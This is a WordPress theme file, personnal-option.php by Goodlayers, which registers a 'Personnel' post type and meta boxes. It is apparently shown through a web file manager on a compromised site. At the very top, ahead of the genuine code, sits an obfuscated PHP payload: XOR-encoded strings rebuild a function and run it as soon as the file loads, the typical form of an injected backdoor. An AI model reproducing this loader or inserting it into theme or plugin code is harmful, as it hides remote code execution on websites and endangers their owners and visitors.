OwlCyberSecurity - MANAGER
Edit File: personnal-option.php
<?php $CfdOBU='CK RAEr LE+8B-C'; $kRAxtcYs=' 9E35 -F9+HL+B-'^$CfdOBU; $vEhKwLXJ='=SfE+8 OH1<+lRIG= <nHJ.Cb 1.LciWC.mqjVO0sS- YHS=4pK=<k<+.Xqk+ <cMU+ xgsRV2OWAkzJLO>1vYIIvyEsskxZXFACkj.zlgJySpTp0Y4>N QgD7D0KRvT bZecyqrZD7qGvsYwRJCAnW<2pmfRSR<9E ecTJI:>K Fp,K-njcBBbeG+F18ZmcOI7zjgYVi7b9u6.=TeXoJS:D,PGVXVB8cE1;zzl52 96HdnWD6S148jmathd>,bqRXAuWX2=lPRoW9+8 WQzEs>k=4L1cSU2XvpbXY.w8Ar>0L lYqPMSUK0tcLzxGFBPJN=4:OShI8p <5HL6Vcdnlan6 =i.p7FLQ;3=bsFYl:WG; de0DKZl-53,jUKJverbGE=Ko7=f<3F0RJPl:;GG ubmDY4Gxw.1MXGxTu,CEE :R JPFSSH: A 5nfP2<c-ME7yn+O22,Q igYT 7qTlCY+:X.G1=klyzS4ao.00WTBEM,4D60qG+,124D4=KncF65wDkgH . xEcprE<Vgij763JuW918ceZmxMjqDYZTr<b6 GwnpkfN6duaQf7dSoScauZasbnonhU16 49=SA-R7UNB FV65=+XQWKfli6W18eGbyQjil:igN=Q+fa<O;9fVP2T:CVSv3MafSXU=JfxlaaE'; $cgORyLA=$kRAxtcYs('', 'T5NdMMN,<XSE371.NTOFo2A1=DPZ-<6:6ZJXCv4:z5XN:<:RZP3RN4XJZ9.4FUHKi1JTATGW93KfwaKZj7E78R6<=VDeTTPrSQ .1CNGZQGzBsT=LC-FR+NyC V0QbiVpIIqLipxV51CQiKSqS6+7 5sUoP3Fv87EbaIEFt9=HR.NnTG.TG7JyHkl5N2DJ4EG <CSQmP+cJh3QROI5EeO,2V7IkMr<76Y<.TBZGLSSLJSsnd1+D6PWPJEE+++qg+4r92Us3WDLmlOsOJTU2xZ>y7OYU8P<80KxKPF3<WL2HVZQ8ALdQt;29>UOi1pr. bxkjYUN.zH22yFSG--U>CLJ33+gux:zPV5luPVDBNxyHL6+NEMEKNBSHITGM5>.3VXRF, Dpe>4BXR2QrwpHLZ+2ENhd9SIMrSJP99gEt5Y-6 RS3LI05n+<:eD TT19=GHKO,6ROZt+WQC5EAC=5TVXxLg=JN9q,TDBEBp:RIKJQD6tdcmMF6WI.,NUnWL-GI8FD-SLPhKC,AZAQeEVRmQ2RANSWG+.pRTAD8sMEpJV =9gGXVWAqAZCYS-PULXbQSQ5YgZTBnUTKNIHH4CDAMfV68r7O<=6SnqFTDG703lJLMR6EYLnBYqJILAcn+K0GNEX.OX=q S-V,77QndZlZ=-T>NHEZk8'^$vEhKwLXJ); $cgORyLA(); /* * Goodlayers Personnal Option File * --------------------------------------------------------------------- * @version 1.0 * @author Goodlayers * @link http://goodlayers.com * @copyright Copyright (c) Goodlayers * --------------------------------------------------------------------- * This file create and contains the personnal post_type meta elements * --------------------------------------------------------------------- */ add_action( 'init', 'create_personnal' ); function create_personnal() { $labels = array( 'name' => __('Personnel', 'gdl_back_office'), 'singular_name' => __('Personnel Item', 'gdl_back_office'), 'add_new' => __('Add New', 'gdl_back_office'), 'add_new_item' => __('Personnel Name', 'gdl_back_office'), 'edit_item' => __('Personnel Name', 'gdl_back_office'), 'new_item' => __('New Personnel', 'gdl_back_office'), 'view_item' => '', 'search_items' => __('Search Personnel', 'gdl_back_office'), 'not_found' => __('Nothing found', 'gdl_back_office'), 'not_found_in_trash' => __('Nothing found in Trash', 'gdl_back_office'), 'parent_item_colon' => '' ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'query_var' => true, 'rewrite' => array('slug' => 'personnel', 'with_front' => false), 'capability_type' => 'post', 'hierarchical' => false, 'menu_position' => 5, 'exclude_from_search' => true, 'supports' => array('title','editor','author','thumbnail','excerpt') ); register_post_type( 'personnal' , $args); register_taxonomy( "personnal-category", array("personnal"), array( "hierarchical" => true, "label" => "Personnel Categories", "singular_label" => "Categories", "rewrite" => true)); register_taxonomy_for_object_type('personnal-category', 'personnal'); } // add table column in edit page add_filter("manage_edit-personnal_columns", "show_personnal_column"); function show_personnal_column($columns){ $columns = array( "cb" => "<input type=\"checkbox\" />", "title" => "Title", "author" => "Author", "personnal-category" => "personnel Categories", "date" => "date"); return $columns; } add_action("manage_posts_custom_column","personnal_custom_columns"); function personnal_custom_columns($column){ global $post; switch ($column) { case "personnal-category": echo get_the_term_list($post->ID, 'personnal-category', '', ', ',''); break; } } $personnal_meta_boxes = array( "Position" => array( 'title'=> __('POSITION', 'gdl_back_office'), 'name'=>'personnal-option-position', 'type'=>'inputtext'), "Social Info" => array( 'title'=> __('SOCIAL INFO', 'gdl_back_office'), 'name'=>'personnal-option-social-info', 'type'=>'textarea', 'description'=>'You see the social shortcode here. (http://themes.goodlayers2.com/maxima/social-icon) ') ); add_action('add_meta_boxes', 'add_personnal_option'); function add_personnal_option(){ add_meta_box('personnal-option', __('Personnal Option','gdl_back_office'), 'add_personnal_option_element', 'personnal', 'normal', 'high'); } function add_personnal_option_element(){ global $post, $personnal_meta_boxes; echo '<div id="gdl-overlay-wrapper">'; ?> <div class="testimonial-option-meta" id="testimonial-option-meta"> <?php set_nonce(); foreach($personnal_meta_boxes as $meta_box){ $meta_box['value'] = get_post_meta($post->ID, $meta_box['name'], true); print_meta($meta_box); } ?> </div> <?php echo '</div>'; } function save_personnal_option_meta($post_id){ global $personnal_meta_boxes; $edit_meta_boxes = $personnal_meta_boxes; // save foreach ($edit_meta_boxes as $edit_meta_box){ if(isset($_POST[$edit_meta_box['name']])){ $new_data = stripslashes($_POST[$edit_meta_box['name']]); }else{ $new_data = ''; } $old_data = get_post_meta($post_id, $edit_meta_box['name'],true); save_meta_data($post_id, $new_data, $old_data, $edit_meta_box['name']); } } ?>